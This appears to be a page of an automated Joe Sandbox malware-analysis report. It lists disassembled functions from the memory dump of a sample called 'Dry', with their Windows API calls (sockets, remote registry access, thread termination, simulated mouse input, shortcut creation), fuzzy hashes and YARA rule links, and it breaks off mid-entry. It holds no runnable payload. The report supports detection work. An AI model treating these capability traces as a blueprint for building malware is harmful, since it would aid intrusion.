Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: bc7176139ee1e47df0e34afe9f5febd1ade45d1e751f9ed70978e67841acfc60
Instruction ID: 5fd36e7c2c55a25326e0de0b78557ac25591ed504b1f5eaa04a8bfcb4a9d4787
Opcode Fuzzy Hash: bc7176139ee1e47df0e34afe9f5febd1ade45d1e751f9ed70978e67841acfc60
Instruction Fuzzy Hash: 94016DF29002087FE712ABA48D89EEA77BCEB08740F4045D5B74AE7041EA74DE849B75

Function 00B51312 Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00B51322
EnterCriticalSection.KERNEL32(00000000,?), ref: 00B51334
TerminateThread.KERNEL32(00000000,000001F6), ref: 00B51342
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00B51350
CloseHandle.KERNEL32(00000000), ref: 00B5135F
InterlockedExchange.KERNEL32(?,000001F6), ref: 00B5136F
LeaveCriticalSection.KERNEL32(00000000), ref: 00B51376

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 79a2dfbd64661dd16d22b107dcbb3082f0464df37a32a5831512af8e17ee628b
Instruction ID: 1137f05b7a0fb7eb4d0de301c923fe73799236db956260304f746d1c3600bb6d
Opcode Fuzzy Hash: 79a2dfbd64661dd16d22b107dcbb3082f0464df37a32a5831512af8e17ee628b
Instruction Fuzzy Hash: E9F0C932042612FBD7411B54EE49BD6BB79FF04342F401561F10696CB18F7495A5CF94

Function 00B626BD Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00B6281D
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00B6283E
WSAGetLastError.WSOCK32 ref: 00B6284F
htons.WSOCK32(?,?,?,?,?), ref: 00B62938
inet_ntoa.WSOCK32(?), ref: 00B628E9

Part of subcall function 00B4433E: _strlen.LIBCMT ref: 00B44348

Part of subcall function 00B63C81: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,00B5F669), ref: 00B63C9D

_strlen.LIBCMT ref: 00B62992

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: d069dfb649a26639acb14727958207cf76d79daf6291ff36c811b08d8ded429a
Instruction ID: 47c24b79282094e4598606e554e67427e568cec9f629ffba646438b37d4c7486
Opcode Fuzzy Hash: d069dfb649a26639acb14727958207cf76d79daf6291ff36c811b08d8ded429a
Instruction Fuzzy Hash: 30B1F031604740AFE324DF64C885E2ABBE5EF84318F54859CF45A4B2E2DB75EE42CB91

Function 00B10527 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00B1042A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B10446
__allrem.LIBCMT ref: 00B1045D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B1047B
__allrem.LIBCMT ref: 00B10492
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B104B0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: f879b393e65d4db2631db90962c4ab5633f4520d067d5efed2ccc62c0ef88ee5
Instruction ID: 98b33914305f19252abc22d8ec1cbc7bdfe8e7d57bd9564f9a27f47f89918ea8
Opcode Fuzzy Hash: f879b393e65d4db2631db90962c4ab5633f4520d067d5efed2ccc62c0ef88ee5
Instruction Fuzzy Hash: DF81E871610709ABE720BF68DC81BEA73F9EF58320F6441AAF521D7681E7B0D9C08794

Function 00B16571 Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00B08649,00B08649,?,?,?,00B167C2,00000001,00000001,8BE85006), ref: 00B165CB
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00B167C2,00000001,00000001,8BE85006,?,?,?), ref: 00B16651
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00B1674B
__freea.LIBCMT ref: 00B16758

Part of subcall function 00B13B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B06A79,?,0000015D,?,?,?,?,00B085B0,000000FF,00000000,?,?), ref: 00B13BC5

__freea.LIBCMT ref: 00B16761
__freea.LIBCMT ref: 00B16786

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: c4a32ee2b633e06edbf01983b8c24de4b31a0ace5ba936d8c4c9bca88df836bf
Instruction ID: c0184ff02287e8186650547ef30b6b40c8c0b1d8f1fca4e5c2e360de21430e2f
Opcode Fuzzy Hash: c4a32ee2b633e06edbf01983b8c24de4b31a0ace5ba936d8c4c9bca88df836bf
Instruction Fuzzy Hash: 3651EF72610216AFEB259F64CC85EFB77EAEB40754F9446A9FC18D6180EB34DC90C6A0

Function 00B6C63B Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Part of subcall function 00B6D3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B6C10E,?,?), ref: 00B6D415
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D451
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D4C8
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D4FE

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B6C72A
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B6C785
RegCloseKey.ADVAPI32(00000000), ref: 00B6C7CA
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00B6C7F9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00B6C853
RegCloseKey.ADVAPI32(?), ref: 00B6C85F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: d7b324341e0b131a4b091764efe7a9a7ef7455e97423d1d2d4ff16f9a63fd8d3
Instruction ID: c564e38ba5d5827a76f4bf8af02ed60cb9eb7992f21803a1095c513d67b0877e
Opcode Fuzzy Hash: d7b324341e0b131a4b091764efe7a9a7ef7455e97423d1d2d4ff16f9a63fd8d3
Instruction Fuzzy Hash: C8819B31208241AFC714DF25C995E3ABBE5FF84308F1489ACF4994B2A2DB35ED45CB92

Function 00B4009D Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 00B400A9
SysAllocString.OLEAUT32(00000000), ref: 00B40150
VariantCopy.OLEAUT32(00B40354,00000000), ref: 00B40179
VariantClear.OLEAUT32(00B40354), ref: 00B4019D
VariantCopy.OLEAUT32(00B40354,00000000), ref: 00B401A1
VariantClear.OLEAUT32(?), ref: 00B401AB

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 743e2af5a76de2b33cda54d99cf550901a804d18147214d0e3e0c3d8511a9381
Instruction ID: 6590bea609823be8431a461f580c7cb4a77a2f1442f7d2bd879f17a0e2f24aad
Opcode Fuzzy Hash: 743e2af5a76de2b33cda54d99cf550901a804d18147214d0e3e0c3d8511a9381
Instruction Fuzzy Hash: E151C731620314AACF20BB64D8C9B29B3F5EF45310F149486FA06EF2D6DBB09D44EB55

Function 00B59B51 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00AE41EA: _wcslen.LIBCMT ref: 00AE41EF

Part of subcall function 00AE8577: _wcslen.LIBCMT ref: 00AE858A

GetOpenFileNameW.COMDLG32(00000058), ref: 00B59F2A
_wcslen.LIBCMT ref: 00B59F4B
_wcslen.LIBCMT ref: 00B59F72
GetSaveFileNameW.COMDLG32(00000058), ref: 00B59FCA

Strings

X, xrefs: 00B59E57

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: c3d0c7171367f57311d16a21e60f3eacc2d30a791412e5b9756fa2c90796fe30
Instruction ID: 827647b06a68a8ea626b72b9d214b4988c4581e9d5f2d19c6c5a12e3cdde457e
Opcode Fuzzy Hash: c3d0c7171367f57311d16a21e60f3eacc2d30a791412e5b9756fa2c90796fe30
Instruction Fuzzy Hash: FFE16F31504340DFD714EF25C981B6AB7E4EF84314F0489ADF8999B2A2DB71ED09CB92

Function 00B56ED3 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B56F21
CoInitialize.OLE32(00000000), ref: 00B5707E
CoCreateInstance.OLE32(00B80CC4,00000000,00000001,00B80B34,?), ref: 00B57095
CoUninitialize.OLE32 ref: 00B57319

Strings

.lnk, xrefs: 00B56EFF, 00B56F69, 00B57025

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: aff22dd72f6317dff954a97c645e7ee2f063fccc8cd2863e4d62d3b52456c357
Instruction ID: e0b2fa4a80fef11d91f45b3a9e36896ea2cd17bf5c2b685f55b70384edc569da
Opcode Fuzzy Hash: aff22dd72f6317dff954a97c645e7ee2f063fccc8cd2863e4d62d3b52456c357
Instruction Fuzzy Hash: F3D14A71608241AFC300EF25C881A6BB7E8EF94744F4449ADF5958B2A2DB71E949CB92

Function 00AE1B00 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00AE249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00AE24B0

BeginPaint.USER32(?,?,?), ref: 00AE1B35
GetWindowRect.USER32(?,?), ref: 00AE1B99
ScreenToClient.USER32(?,?), ref: 00AE1BB6
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00AE1BC7
EndPaint.USER32(?,?,?,?,?), ref: 00AE1C15
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00B23287

Part of subcall function 00AE1C2D: BeginPath.GDI32(00000000), ref: 00AE1C4B

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 1ebfac5d1b3548637f9fce7e7078796cc06d7be999e1bf9415e12b4d386b9fef
Instruction ID: 06b88a54e849ad8989d876147411a5cb66bf20fa6538fc9fae095c9b2af3a02a
Opcode Fuzzy Hash: 1ebfac5d1b3548637f9fce7e7078796cc06d7be999e1bf9415e12b4d386b9fef
Instruction Fuzzy Hash: 5041CF70104350AFD720DF29DC85FB67BF8EF49724F140669FAA98B2A1CB709944DB62

Function 00B51196 Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00B511B3
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00B511EE
EnterCriticalSection.KERNEL32(?), ref: 00B5120A
LeaveCriticalSection.KERNEL32(?), ref: 00B51283
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00B5129A
InterlockedExchange.KERNEL32(?,000001F6), ref: 00B512C8

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: e6105f25c0ed2ab8f0159dea72f8cd5fc463116d8213efb52f7796f712d056b6
Instruction ID: 3645243acca2035da54383aa6be58ebf8524dc914629b33c59699d41db61c80b
Opcode Fuzzy Hash: e6105f25c0ed2ab8f0159dea72f8cd5fc463116d8213efb52f7796f712d056b6
Instruction Fuzzy Hash: 9C415671900205ABDF04AF58DC85BAABBB8EF04300F1084E5EE04AB296DB30DE55DBA0

Function 00B78C36 Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,00B3FBEF,00000000,?,?,00000000,?,00B239E2,00000004,00000000,00000000), ref: 00B78CA7
EnableWindow.USER32(?,00000000), ref: 00B78CCD
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00B78D2C
ShowWindow.USER32(?,00000004), ref: 00B78D40
EnableWindow.USER32(?,00000001), ref: 00B78D66
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00B78D8A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 3a4268ef28c436b223a46f7fbdb299d1b1f4248ac6c8f3312fe0811690381ddc
Instruction ID: 332ec5972cd591a3dfa069c4bca497e183db3f276f84b23665015b953c222bec
Opcode Fuzzy Hash: 3a4268ef28c436b223a46f7fbdb299d1b1f4248ac6c8f3312fe0811690381ddc
Instruction Fuzzy Hash: 2D41DF30642244AFDB26CF24C98DBA17BF1FF45314F1881F9E56D5B2A2CB71A846CB60

Function 00B62D37 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 00B62D45

Part of subcall function 00B5EF33: GetWindowRect.USER32(?,?), ref: 00B5EF4B

GetDesktopWindow.USER32 ref: 00B62D6F
GetWindowRect.USER32(00000000), ref: 00B62D76
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00B62DB2
GetCursorPos.USER32(?), ref: 00B62DDE
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00B62E3C

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 8aeabb7a1823a17ed2da41221fbf133d6effa521abfdb8e4e10ee2b8d36e1b80
Instruction ID: f5754915ff21b44eeb01f86e3030e8eb49bf84224be69aa35e7872efc63caf32
Opcode Fuzzy Hash: 8aeabb7a1823a17ed2da41221fbf133d6effa521abfdb8e4e10ee2b8d36e1b80
Instruction Fuzzy Hash: EE31F272605716ABD720DF14C845F9B77E9FFC4354F00092AF89997181DA34EA48CB91

Function 00B455E1 Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00B455F9
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00B45616
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00B4564E
_wcslen.LIBCMT ref: 00B4566C
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00B45674
_wcsstr.LIBVCRUNTIME ref: 00B4567E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 13ddee62895c96d4ff1be6c643088615533849dd0bce649ed99136543493a6e1
Instruction ID: 61764f7a7372105855bed2b0f3fcd4418cbd949eb9a64f1733a21af2605907d2
Opcode Fuzzy Hash: 13ddee62895c96d4ff1be6c643088615533849dd0bce649ed99136543493a6e1
Instruction Fuzzy Hash: 0B212632204A007BEB256B289C49F7B7FECDF45750F1580A9F809DA092EF70CE41A660

Function 00B56263 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE5851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AE55D1,?,?,00B24B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00AE5871

_wcslen.LIBCMT ref: 00B562C0
CoInitialize.OLE32(00000000), ref: 00B563DA
CoCreateInstance.OLE32(00B80CC4,00000000,00000001,00B80B34,?), ref: 00B563F3
CoUninitialize.OLE32 ref: 00B56411

Strings

.lnk, xrefs: 00B562BB, 00B56306, 00B563CA

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 07b1ff2511df9534828d3895e9b98e630c476c1d3eac27bb8b9e14161778cbdb
Instruction ID: ea3e1ea3fc4e38a22eca110bbb0fb5ebed212cb8186dee34d6ba6482d665a25f
Opcode Fuzzy Hash: 07b1ff2511df9534828d3895e9b98e630c476c1d3eac27bb8b9e14161778cbdb
Instruction Fuzzy Hash: 66D14271A082019FC714DF29C584A2ABBF5FF89715F54889CF8899B361DB31EC49CB92

Function 00B786FC Relevance: 9.1, APIs: 6, Instructions: 82COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00B78740
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00B78765
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00B7877D
GetSystemMetrics.USER32(00000004), ref: 00B787A6
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00B5C1F2,00000000), ref: 00B787C6

Part of subcall function 00AE249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00AE24B0

GetSystemMetrics.USER32(00000004), ref: 00B787B1

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: bf7ef255e6375acb8282b659d5415f046fd90186ed8e74280a46bcbf905de40e
Instruction ID: 984403cb2fd480c784d9f8afc48e8905974c281cd6e4bdde0d05985ea49e9439
Opcode Fuzzy Hash: bf7ef255e6375acb8282b659d5415f046fd90186ed8e74280a46bcbf905de40e
Instruction Fuzzy Hash: 90217C716512419FCB289F39CC48A6A3BF6EF84365F248669A93BD31E0DE708C50DB20

Function 00B036F2 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

